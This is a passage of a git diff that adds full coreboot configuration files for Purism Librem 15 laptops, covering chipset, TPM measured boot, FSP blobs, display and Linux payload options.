+CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_MMA is not set +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_skl/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Sunrise_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index c00e3cd88..474f3feba 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -1,21 +1,797 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem 15" +CONFIG_MAINBOARD_PART_NUMBER="Librem 15 v4" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_skl" +CONFIG_VGA_BIOS_ID="8086,5916" +CONFIG_DIMM_MAX=1 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="Purism" +CONFIG_CBFS_SIZE=0xe00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="librem15" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" +CONFIG_DISABLE_HECI1_AT_PRE_BOOT=y +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/me.bin" +CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 15 v4" +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_14 is not set +# CONFIG_BOARD_PURISM_LIBREM_11 is not set +# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set CONFIG_BOARD_PURISM_LIBREM15_V4=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="sklkbl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=24 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 